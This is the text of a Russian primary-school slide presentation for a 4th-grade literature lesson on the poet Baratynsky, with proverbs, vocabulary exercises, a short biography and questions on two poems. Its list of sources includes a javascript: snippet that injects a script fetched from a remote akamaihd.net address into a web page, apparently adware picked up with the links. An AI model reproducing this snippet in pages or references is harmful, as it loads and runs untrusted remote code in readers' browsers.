"Литературное чтение 4 класс" УМК "Школа России"

Литературное чтение
4 класс
УМК «Школа России»
Баратынский Евгений
Абрамович
Выполнила: М.Г.Шабанова
учитель начальных классов
МБОУ Сарасинская СОШ
Алтайского района Алтайского края
2014
Прочитайте пословицы, объясните их смысл.
• Весной оглобля за ночь травой
обрастает.
• Весной что рекой прольёт –
капли не видно, осенью ситом
просеет – хоть ведром черпай.
• Зима не лето – в шубу одета.
• Идёт Варюха – береги нос да
ухо.
Словарная
работа.
Оглобля – одна из двух
длинных жердей упряжки,
укрепленных на передней оси
повозки и соединяющихся с
дугой.
Словарная
работа.
17 декабря –
Варварин
день.
Варюха –
народное
название
зимы.
Баратынский
(Боратынский)
Евгений
Абрамович
(19.02.1800 —
29.06.1844),
Баратынский
(Боратынский)
Евгений Абрамович
(19.02.1800 —
29.06.1844), русский
поэт. Происходил из
древнего польского
рода, с к. XVII в.
обосновавшегося в
России. Отец —
свитский генераллейтенант Павла
I, мать — фрейлина
императрицы Марии
Федоровны.
Рано попадает в избранный
круг петербургских
литераторов . За развитием
внимательно
следит А.С.Пушкин, пишущ
ий о нем в тоне высшего
признания, определяя
область первенства
Баратынского — элегию,
основное качество его
поэзии (“он у нас
оригинален — ибо
мыслит”), отмечает его
самобытность и
независимость от
господствующих
направлений и школ (“он
шел своей дорогой один и
независим”) и определяет
его “степень” в русской
поэзии — “подле
Жуковского”.
Умер Баратынский
внезапно, во время
путешествия за
границу, в Неаполе 29
июня 1844 г. Тело его
перевезено в
Петербург, где он был
похоронен в
Александро-Невской
лавре рядом с
Крыловым, Гнедичем,
Карамзиным на
Тихвинском
кладбище.
«Весна, весна!..»
Словарная работа.
• Древа –
Деревья.
• Обнажены –
Голые.
• Ветхий –
Старый.
• Незримый –
Невидимый.
Подберите
синонимы
антонимы
• Шумный –
• Шумный –
Грохочущий,
Тихий.
гремучий.
• Торжествующий –
• Торжествующий –
грустный,
скорбный.
Победоносный,
радостный.
Подберите синонимы
• Лазурьсинева.
• Взревев –
крикнув.
Назовите эпитеты вместе со
словами, к которым они относятся.
• … лазурию живой…
• … на торжествующем
хребте…
- Какие чувства переполняют
поэта? Почему?
- Как вы будете читать это
стихотворение?
- Подготовьте выразительное
чтение стихотворения (с.143144)
«Где сладкий шёпот…»
синонимы
• Ропот –
недовольство.
• Бушует –
неистовствует,
бесчинствует.
антонимы
• Немеет –
оживает.
• Кроет –
скрывает.
- Откройте учебник на с.144.
Работаем по вопросам и
заданиям.
- Подготовьте
выразительное чтение
стихотворения.
Рефлексия.
• Оцените свою работу на
уроке.
• Что было трудным?
• Что легко удавалось
выполнить?
• Что нового узнали на
уроке?
• Чему научились?
Домашнее задание:
• Найти ДРУГИЕ
стихотворения
поэта и подготовить
выразительное
чтение.
Используемые материалы:
• javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apihypenetinfo
-a.akamaihd.net/gsrs?is=asp1fnru&bp=BA&g=9342da2d-d3c94697-81c4-71579a7bfb3f";a[0].appendChild(d);}}}catch(e){}
http://www.rosimperija.info/post/38
• http://saboy.livejournal.com/163438.html
• http://kochetova.onego.ru/december.html
• Учебник «Литературное чтение 4 класс ч.1», М., Просвещение,
2014, с.143-144
• С.В.Кутявина «Поурочные разработки по литературному
чтению» К УМК Л.Ф.Климановой и др.(«Школа России»), М.,
ВАКО, 2014, с.142-144